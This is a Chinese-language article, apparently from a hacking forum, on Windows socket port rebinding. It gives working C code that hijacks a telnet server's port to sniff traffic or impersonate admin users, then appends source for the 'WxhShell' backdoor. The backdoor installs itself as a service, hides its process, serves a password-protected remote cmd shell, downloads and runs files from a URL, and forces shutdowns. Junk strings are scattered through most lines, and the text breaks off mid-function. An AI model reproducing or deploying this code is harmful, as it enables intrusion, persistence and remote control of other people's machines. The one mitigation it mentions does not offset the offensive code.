在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
y %k`
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,]N!I%SI [xXml On! saddr.sin_family = AF_INET;
JuGQS24 Cf_Ik saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/WDz;,X `TkIyGr bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S|A?z)I NLJD}{8Ot 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Qa,^;hZWS !Xwp;P= 这意味着什么?意味着可以进行如下的攻击:
zXB]Bf3TH ta+'*@V+G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
{-rK:*yP'u 5L<}u`0J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
X$O,L[] 4 ou44vKzS 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*JG?^G"l ?4
`K8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4/{Io &| j$*]'s&_hZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E<3hy =+{.I,g}g@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y(:hN) Vgs( feGs 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
9p!V?cH#8 Ep}KIBBO #include
OwP9=9}; #include
nzDS #include
DYH-5yX7 #include
vi6EI
wZG DWORD WINAPI ClientThread(LPVOID lpParam);
v@k62@; int main()
)_T[thf] {
1fL@rR WORD wVersionRequested;
}H{{ @RU DWORD ret;
1!\!3xa V WSADATA wsaData;
5(MWgC1 BOOL val;
L6j
5pI SOCKADDR_IN saddr;
vjJ!d#8 SOCKADDR_IN scaddr;
!EM21Sc int err;
`sN3iD!@R SOCKET s;
Bh*~I_T a> SOCKET sc;
mW 5L;> int caddsize;
#hd<5+$U}l HANDLE mt;
*6Rl[eXS DWORD tid;
v?<x"XKR wVersionRequested = MAKEWORD( 2, 2 );
|Xd[%W) err = WSAStartup( wVersionRequested, &wsaData );
<_ */ if ( err != 0 ) {
K 3&MR=#^ printf("error!WSAStartup failed!\n");
xn@?CP`-y return -1;
9Pd~ }
i TD}gC saddr.sin_family = AF_INET;
c6s(f da!N0\.1T //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dqUhp_f2qK ;lX:EU saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j1YE_U saddr.sin_port = htons(23);
1elcP`N1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2>fG}qYy$ {
2k"a%#H8 printf("error!socket failed!\n");
=Mn![ return -1;
gKb4n
Nt }
P
xpz7He val = TRUE;
h%+8}uywZ //SO_REUSEADDR选项就是可以实现端口重绑定的
'cw0FpQ; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U]hQ#a+ {
+@%9pbM"z printf("error!setsockopt failed!\n");
M|d[iaM, return -1;
cw"x0 RS }
6{lWUr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f`A //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z8Dn<h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_5U
Fml9 `yYgL@Zt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
l`I]eTo)^ {
^ ?tAt3dMI ret=GetLastError();
nZ\,ZqV printf("error!bind failed!\n");
;%dkwKO return -1;
,C&h~uRi#f }
;xB"D0~,1 listen(s,2);
yH#;k:O= while(1)
crgYr$@s? {
a
_ caddsize = sizeof(scaddr);
gP(-Op //接受连接请求
+o'. !sRH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'hya#rC&( if(sc!=INVALID_SOCKET)
Z7.)[
; {
"E''ZBLO~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ejr"(m(Xe if(mt==NULL)
pHg8(ru| {
C4 Wdt printf("Thread Creat Failed!\n");
r]HLO'<] break;
/$eEj }
[tD*\\IA }
=dA T^e## CloseHandle(mt);
2OT6*+D }
c(Ha"tBJ closesocket(s);
=]zPUzr,| WSACleanup();
cF(9[8c{ return 0;
A+F-r_]}db }
T*Exs|N2P- DWORD WINAPI ClientThread(LPVOID lpParam)
xrz,\eTb {
TER=*"! SOCKET ss = (SOCKET)lpParam;
Fnv;^}\z SOCKET sc;
{\"x3;3!6 unsigned char buf[4096];
7kLz[N6Ll SOCKADDR_IN saddr;
k,6f
long num;
@V sG' DWORD val;
]@c+]{ DWORD ret;
wu!59pL //如果是隐藏端口应用的话,可以在此处加一些判断
L#?Ek- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Yui3+}Ms saddr.sin_family = AF_INET;
[Td4K.c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
bdrg(d6 saddr.sin_port = htons(23);
K(rWNO if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WRbj01v {
FaSf7D`C printf("error!socket failed!\n");
'RR~7h return -1;
-H@:* }
Wx}8T[A} val = 100;
zpZm&WC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Lc,Pom {
\;3~a9q% ret = GetLastError();
gQg"j) return -1;
Dlae;5D }
)h4f\0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M61xPq8y5 {
[< ?s?Ci ret = GetLastError();
_\G"9,)u' return -1;
wC+u73599 }
YMcD|Kb p if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
QzVnL U) {
SiRaFj4s" printf("error!socket connect failed!\n");
u@UMP@"# closesocket(sc);
?
7n`A >T closesocket(ss);
-q1??u return -1;
g`' !HGY }
O)*+="Rg while(1)
zuad~%D<I {
D 6Ui! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9igiZmM //如果是嗅探内容的话,可以再此处进行内容分析和记录
W)2p@j59A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:Zbg9`d* num = recv(ss,buf,4096,0);
)._; ~z! if(num>0)
KNvZm;Q6 send(sc,buf,num,0);
Uw. `7b>B else if(num==0)
]d0BN`*U. break;
i{NzV num = recv(sc,buf,4096,0);
]Ji.Zk if(num>0)
X::JV7hu send(ss,buf,num,0);
eK?MKe else if(num==0)
qZtzO2Mt break;
]Kt6^|S$a }
XkE`U5. closesocket(ss);
4K#>f4(U`g closesocket(sc);
%9F([K return 0 ;
!}#8)?p }
'4+
ur` p
Z|V
3 @]%IK(| ==========================================================
!*dI|k Eex~xiiV 下边附上一个代码,,WXhSHELL
J s@hLP` mP~QWx![N ==========================================================
eCDev} "Y
=;.:qe #include "stdafx.h"
1QcNp(MO X;
\+<LE #include <stdio.h>
A@!qv#' #include <string.h>
[2!w_Iw' #include <windows.h>
u^+7hkk #include <winsock2.h>
D09Sg%w #include <winsvc.h>
y*jp79G #include <urlmon.h>
YW,tCtI0_ %op**@4/t\ #pragma comment (lib, "Ws2_32.lib")
Db}j?ik/ #pragma comment (lib, "urlmon.lib")
_lJ!R:* r"3=44St #define MAX_USER 100 // 最大客户端连接数
FF`T\&u #define BUF_SOCK 200 // sock buffer
:1.L}4"gg #define KEY_BUFF 255 // 输入 buffer
Y1W1=Uc uk {yTGAf-DV #define REBOOT 0 // 重启
B:yGS*.tu #define SHUTDOWN 1 // 关机
TTX5EDCrC 2+N]PW\V #define DEF_PORT 5000 // 监听端口
5,lEx1{_ XSwl Tg #define REG_LEN 16 // 注册表键长度
e\`&p #define SVC_LEN 80 // NT服务名长度
9]([\% ) zlSNfgO // 从dll定义API
~OYiq}g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+<Nn~1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,GhS[VJjR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
wtLO!=B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$u6"*| Wq D4YGN // wxhshell配置信息
T@H^BGs struct WSCFG {
Z!a=dnwHz int ws_port; // 监听端口
$lfn(b, char ws_passstr[REG_LEN]; // 口令
hn7#
L int ws_autoins; // 安装标记, 1=yes 0=no
Ws3)gvpPA char ws_regname[REG_LEN]; // 注册表键名
V# }!-Xj char ws_svcname[REG_LEN]; // 服务名
I;,77PxD char ws_svcdisp[SVC_LEN]; // 服务显示名
gS!:+G% char ws_svcdesc[SVC_LEN]; // 服务描述信息
a_^\=&?' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
EqkN3%IG int ws_downexe; // 下载执行标记, 1=yes 0=no
:".ARCg char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
r..iko]T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g{]0sn# DD+7V@ };
> ym,{EHK kf\PioD8 // default Wxhshell configuration
niMsQ struct WSCFG wscfg={DEF_PORT,
k{R> "xuhuanlingzhe",
,1.p%UE]> 1,
7~G9'P< "Wxhshell",
6IN
e@ "Wxhshell",
f <Zxz9 "WxhShell Service",
1W
c=5! "Wrsky Windows CmdShell Service",
@(EAq<5{ "Please Input Your Password: ",
jKz$@gP 1,
V@.Ior}w "
http://www.wrsky.com/wxhshell.exe",
H`XUJh "Wxhshell.exe"
]\-A;}\e };
*nT<m\C6 Y Vt% 0 // 消息定义模块
kUb>^-
-K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
B-RjMxX4> char *msg_ws_prompt="\n\r? for help\n\r#>";
/*(Kr'c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]6k\)#%2 char *msg_ws_ext="\n\rExit.";
Q^P}\wb> char *msg_ws_end="\n\rQuit.";
[~+wk9P char *msg_ws_boot="\n\rReboot...";
g i3F`
m char *msg_ws_poff="\n\rShutdown...";
0Uz"^xO[" char *msg_ws_down="\n\rSave to ";
M5LfRBO z#9aP&8 Q char *msg_ws_err="\n\rErr!";
MVpGWTH@F char *msg_ws_ok="\n\rOK!";
i'<[DjMDlm >%_ \;svZG char ExeFile[MAX_PATH];
+zqn<<9 int nUser = 0;
L?b~k= HANDLE handles[MAX_USER];
3oj' ytxN int OsIsNt;
4!{KWL`A -u+vJ6EY SERVICE_STATUS serviceStatus;
(!u~CZ; SERVICE_STATUS_HANDLE hServiceStatusHandle;
l ~"^7H?4e 93>jr<A // 函数声明
)N{Pw$l_ int Install(void);
5+4IN5o]= int Uninstall(void);
-vo})lO int DownloadFile(char *sURL, SOCKET wsh);
oi7@s0@ int Boot(int flag);
Uk wP void HideProc(void);
Rxt^v+ ,$ int GetOsVer(void);
*uRBzO} int Wxhshell(SOCKET wsl);
LtF,kAIt7v void TalkWithClient(void *cs);
R{`(c/%8 int CmdShell(SOCKET sock);
_IHV7*u{; int StartFromService(void);
>0y'Rgfe int StartWxhshell(LPSTR lpCmdLine);
JAnZdfRt un"Gozmt5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\##zR_% VOID WINAPI NTServiceHandler( DWORD fdwControl );
JPI3[.o PCee<W_%YE // 数据结构和表定义
|*eZD-f SERVICE_TABLE_ENTRY DispatchTable[] =
.[KrlfI {
VR 8-&N {wscfg.ws_svcname, NTServiceMain},
;W
)Y
OT {NULL, NULL}
!x=~g"d<& };
r EE1sy/# ,5p(T_V/ // 自我安装
:A_@,Q int Install(void)
Q~]uC2Mw {
2DDtu[} char svExeFile[MAX_PATH];
cGzPI+F HKEY key;
8U"v6S~A%Q strcpy(svExeFile,ExeFile);
:uS\3toj ;%9 |kU // 如果是win9x系统,修改注册表设为自启动
3AtGy'NTp if(!OsIsNt) {
OX7M8cmc+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#$07:UJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A2Ed0|B y RegCloseKey(key);
9d659iC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ibk6|pp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wH&!W~M
RegCloseKey(key);
;?iW%:_, return 0;
S!CC
}3zw }
Af2( 5] }
dt]-,Y
}
,/I.t DH else {
Z]Cq3~l n0 {i&[I~+ // 如果是NT以上系统,安装为系统服务
} 9Eg=%0v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
n5NsmVW \x if (schSCManager!=0)
0RLg:SV {
I3I/bofz SC_HANDLE schService = CreateService
$k%2J9O (
'G4ICtHQ schSCManager,
\'D0'\:vz wscfg.ws_svcname,
cp7=epho wscfg.ws_svcdisp,
Hg izW SERVICE_ALL_ACCESS,
osAd1<EIC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y"aJur=` SERVICE_AUTO_START,
,m:.-iy? SERVICE_ERROR_NORMAL,
7,o7Cf2 z svExeFile,
,T$U'&; NULL,
"Og7rl NULL,
06Sceq NULL,
] 72`}; NULL,
W+?4jwqw NULL
*C*U5~Zq7: );
x*U)Y if (schService!=0)
[!#L6&:a8 {
<)c)%'v CloseServiceHandle(schService);
K=h9Ce CloseServiceHandle(schSCManager);
c9u`!'g`i strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
SsDmoEeB[ strcat(svExeFile,wscfg.ws_svcname);
MaQqs= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@9RM9zK.q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
k)=s>&hl RegCloseKey(key);
k(G^z return 0;
Zt{[*~ }
1 bU,$4 }
!``,gExH CloseServiceHandle(schSCManager);
^%{7}g&$u }
29] G^f> }
"e>;'%W )g%d:xI return 1;
yjJ5>cg }
}V`"s^ SRDp* // 自我卸载
0znR0%~ int Uninstall(void)
Ka
V8[|Gn, {
A]oV"`f HKEY key;
AH7}/Rc J<h$
wM if(!OsIsNt) {
rw JIx|( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wJo}!{bN RegDeleteValue(key,wscfg.ws_regname);
;$wVu|& RegCloseKey(key);
nMUw_7Y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^Y \"}D RegDeleteValue(key,wscfg.ws_regname);
`dN@u@[\ks RegCloseKey(key);
&@OT*pNna return 0;
_Q 4)X)F }
'_FsvHQ }
zHRplm+i }
Aw.qK9I else {
:':s@gqr e6$W Qd`O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r[iflBP if (schSCManager!=0)
Ai3*QX {
BW*rIn<?G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}WXi$(@v if (schService!=0)
ENs&RZ; {
4>e&f&y~ if(DeleteService(schService)!=0) {
:*9Wh CloseServiceHandle(schService);
Dp-z[]})1 CloseServiceHandle(schSCManager);
.}~_a76 return 0;
je=a/Y=%U{ }
'zuIBOH`j3 CloseServiceHandle(schService);
)1`0PJoHE }
tl^9WG CloseServiceHandle(schSCManager);
`Eo.v#< }
6mxfLlZ }
kUrkG80q| sS'm!7*(3 return 1;
56kI
5: }
Ean5b>\ d|Lj~x| // 从指定url下载文件
sWnLEw int DownloadFile(char *sURL, SOCKET wsh)
f?X)k,m {
H8}oIA"b HRESULT hr;
LBDjIpR6 char seps[]= "/";
dSV8q
,D char *token;
i2SR{e8:GF char *file;
5D//*}b, char myURL[MAX_PATH];
Ry6@VQ"NLb char myFILE[MAX_PATH];
$suzW;{# T%*D~=fQ' strcpy(myURL,sURL);
aHK}sr,U token=strtok(myURL,seps);
U-tTW*[1] while(token!=NULL)
5vnrA'BhBU {
0*{%=M file=token;
5#E`=C% token=strtok(NULL,seps);
s&3Vg7B }
lA8`l>I V+9 MoT?8 GetCurrentDirectory(MAX_PATH,myFILE);
z9Rp`z&`E strcat(myFILE, "\\");
oE]QF.n# strcat(myFILE, file);
r$s Qf&= send(wsh,myFILE,strlen(myFILE),0);
NyNXP_8 send(wsh,"...",3,0);
8&b,qQ~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
89(Q1R ?: if(hr==S_OK)
sdw(R#GE return 0;
FXkM#}RgNm else
c(s.5p ^ return 1;
3AN/
H n,WqyNt* }
<frutU16\ toC^LZgZ_6 // 系统电源模块
draN0vf int Boot(int flag)
f9{Rb/l!BQ {
svH !1b HANDLE hToken;
JY(WK@ TOKEN_PRIVILEGES tkp;
Qd3 j%( P71Lqy)5}A if(OsIsNt) {
0YDR1dO(* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*VT/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
</*6wpN tkp.PrivilegeCount = 1;
XU(eEnmom tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ER.}CM6{[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
O3kA;[f; if(flag==REBOOT) {
2g! +<YZ~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|Z += return 0;
7J<5f) }
hkQ"OsU else {
6(ol1
(U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;u)I\3`*! return 0;
Lw>N rY(Y }
k;FUs[ }
cyz3,3\e else {
p0vVkdd if(flag==REBOOT) {
H9e<v4c if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T9[Q return 0;
dvUic-w<j }
_I5Y"o else {
Ig>(m49d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/9fR'EO{x return 0;
g`QEu
5v }
fI|Nc }
P~X2^bw
[/8%3 return 1;
>~0Z& d }
t*w/{|yO _X
x/(.O // win9x进程隐藏模块
`e}B2;$A3 void HideProc(void)
8YSAf+{FtK {
5`p.#
z<' u1l3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}Jj}%XxKs if ( hKernel != NULL )
uQKT {
{ 2f-8Z&> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
FfT`;j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'!B&:X) FreeLibrary(hKernel);
+ami?#Sz*; }
U| R_OLWAg sK?twg;D*| return;
inp7K41 }
/Lr.e% NC6&x=!3 // 获取操作系统版本
PLBrP int GetOsVer(void)
(X*^dO {
\1M4Dl5! OSVERSIONINFO winfo;
8P\Zo8}v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z6MO^_m2 GetVersionEx(&winfo);
F#5~M<`.o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&s>Jb?_5Mx return 1;
EQSQFRk; else
)Hr`MB return 0;
^E>3|du]O }
aV0"~5 Xne1gms // 客户端句柄模块
s_p!43\J int Wxhshell(SOCKET wsl)
":N9(}9 {
>9Vn.S SOCKET wsh;
<<O$ G7c struct sockaddr_in client;
aw&,S"A@ DWORD myID;
<b*DQ:N o.`5D%}i while(nUser<MAX_USER)
h'nY3GrU {
~v6D#@%A int nSize=sizeof(client);
9H1rO8k wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
4E}Yt$| if(wsh==INVALID_SOCKET) return 1;
H3oFORh {?7Uj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,|/f`Pl if(handles[nUser]==0)
#~=RyH closesocket(wsh);
vW@=<aS Z else
E' uZA nUser++;
V>3X\)qu }
$<[79al# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)D%~`,#pQ d2L&Z_} return 0;
uCB=u[]y4 }
>^{yF~( ;q>ah!"k // 关闭 socket
f*
wx< void CloseIt(SOCKET wsh)
Yx`n:0 {
u)Whr@m closesocket(wsh);
V0Hj8}l;M nUser--;
9;If&uM ExitThread(0);
G^@5H/) }
Gav$HLx "$vRMpW: // 客户端请求句柄
b\,+f n void TalkWithClient(void *cs)
?Z} &EH {
(**oRwr% uHNCS zH( SOCKET wsh=(SOCKET)cs;
'Z]w^< char pwd[SVC_LEN];
ue>D7\8 char cmd[KEY_BUFF];
2B`JGFcdcB char chr[1];
9A#i_#[R int i,j;
K@%].: TkF[x%o while (nUser < MAX_USER) {
43 :X,\~) V]?R>qhgu if(wscfg.ws_passstr) {
-tU'yKhn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BFt> 9x]T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EiaW1Cs //ZeroMemory(pwd,KEY_BUFF);
2 ? 4!K. i=0;
Ws12b$ while(i<SVC_LEN) {
*=xr-!MEk 3iU=c&P // 设置超时
- !
S_ryL fd_set FdRead;
f,Ghb~y struct timeval TimeOut;
BL4-7 FD_ZERO(&FdRead);
onV>.7sG FD_SET(wsh,&FdRead);
7PF%76TO TimeOut.tv_sec=8;
H0cA6I TimeOut.tv_usec=0;
L\iFNT}g` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\^1E4C\": if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@KUWxFak M'l ;: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
d0 /#nz pwd
=chr[0]; 4`=mu}Y2
if(chr[0]==0xd || chr[0]==0xa) { I*^Ta{j[
pwd=0; U`s{Jm
break;
W!(LF7_!
} q75s#[<ap
i++; (uidNq
} E<*xx#p
6d~'$<5on
// 如果是非法用户,关闭 socket Yz93'HDB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wI "U7vr
} PmM3]xVzd
e@YK@?^#N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Y5_PTWb+Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eJ81-!)
'/%H3A#L
while(1) { J4U1t2@)9
wwcBsJ1{
ZeroMemory(cmd,KEY_BUFF); l}M!8:UzU
_u9Jxw?F@Y
// 自动支持客户端 telnet标准 kg\>k2h
j=0; E&:,oG2M
while(j<KEY_BUFF) { UkGCyGyZ[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B#1;r-^P<
cmd[j]=chr[0]; +[g,B1jt
if(chr[0]==0xa || chr[0]==0xd) { Ilm^G}GB
cmd[j]=0; Ny)X+2Ae
break; lqpp)Cq
} BING{ew
j++; 18:%~>.!
} sdmT
ENY+^7
// 下载文件 #:%/(j
if(strstr(cmd,"http://")) { 8DaL,bi*.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'H <\x
if(DownloadFile(cmd,wsh)) \xoP)Ub>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&jlizN7
else ;t`&n['N>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;gr9/Vl
} +^T@sa`[I
else { NQ2E
-z(+/ /K:#
switch(cmd[0]) { jWfa;&Ra
J5jvouR
// 帮助 $PHvA6D
case '?': { m`r(p"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $* Kvc$D
break; =odFmF
} UFuX@Lu0
// 安装 *c+ (-
case 'i': { 5/Uy{Xt
if(Install()) lnR{jtWP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H<N,%G
else "snw4if
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b|W=pSTY
break; )K
} B^9j@3Ux
// 卸载 "'\$
g[k
case 'r': { \)|hogI|f
if(Uninstall()) 4{`{WI{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s->^=dy
else [cp+i^f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u.Dz~$T
break; DR<9#RRD
} |
%Vh`HT
// 显示 wxhshell 所在路径 @<&m|qtMsz
case 'p': { 7Jho}5J
char svExeFile[MAX_PATH]; C~iL3Cb
strcpy(svExeFile,"\n\r"); 'Qe;vZ31K
strcat(svExeFile,ExeFile); _a T5jR=
send(wsh,svExeFile,strlen(svExeFile),0); y
h9*z3
break; p.?rey<%
} d-dEQKI?;
// 重启 JFk
lUgg
case 'b': { B0]~el
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &KRX[2
if(Boot(REBOOT)) p=}Nn(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N//KPh
else { :Fvrs(
x
closesocket(wsh); E=!\z%4
ExitThread(0); NHZz _a=
} !d0kV,F:
break; v^ VitLC
} WEi2=3dV
// 关机 [3|P 7?W/
case 'd': { v
z '&%(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [K0(RDV)%
if(Boot(SHUTDOWN))
7E~;xn;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I4i>+:_J
else { uk<9&{
closesocket(wsh); b}TS0+TF
ExitThread(0); ckE-",G
} P
m e^l%M
break; a HR"n|7{
} vnZC,J `
// 获取shell ZX./P0
case 's': { QE`bSI
CmdShell(wsh); p4
^yVa
closesocket(wsh); ^ sLdAC
ExitThread(0); i6Emhji
break; 8NAON5.!
} sN01rtB(UT
// 退出 Vb]=B~ ^`
case 'x': { E92KP?i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -fW*vE:
CloseIt(wsh); z/@slT
break; ?QdWrE_
} %S^8c
// 离开 )cMh0SGcM1
case 'q': { ML56k~"BL
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :emiQ
closesocket(wsh); OU
$#5
WSACleanup(); _H7x9
y=
exit(1); q ,]L$
break; }Sh?S]]`
} l L@XM2"
} ^KT Y?
} B!L{
1JG'%8}#8
// 提示信息 m'=Crei
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R=2FNP
} B7E:{9l~s{
} j@3Q;F0ba
bI9~jWgGp
return; A&Usddcp
} .2Elr(&*h
[uN?
~lp\%
// shell模块句柄 ZdWm:(nkU
int CmdShell(SOCKET sock) w4{<n/"
{ ! Y~FLA_
STARTUPINFO si; C]`$AqKl
ZeroMemory(&si,sizeof(si)); ,~@X{7U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A>;bHf@
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k1Y ?
PROCESS_INFORMATION ProcessInfo; ;)z:fToh
char cmdline[]="cmd"; 2,b(,3{`4:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DGn;m\B
return 0; h-K_Lr]
} d_E/8R_$L
i0kak`x0
// 自身启动模式 4=.89T#<
int StartFromService(void) b)5uf'?-
{
#3@rS
typedef struct t[;LD_
{ J~zUp(>K
DWORD ExitStatus; iDz++VNV
DWORD PebBaseAddress; qJa H,
DWORD AffinityMask; *-=(Q`3
DWORD BasePriority; (Ag16
ULONG UniqueProcessId; D4lG[qb
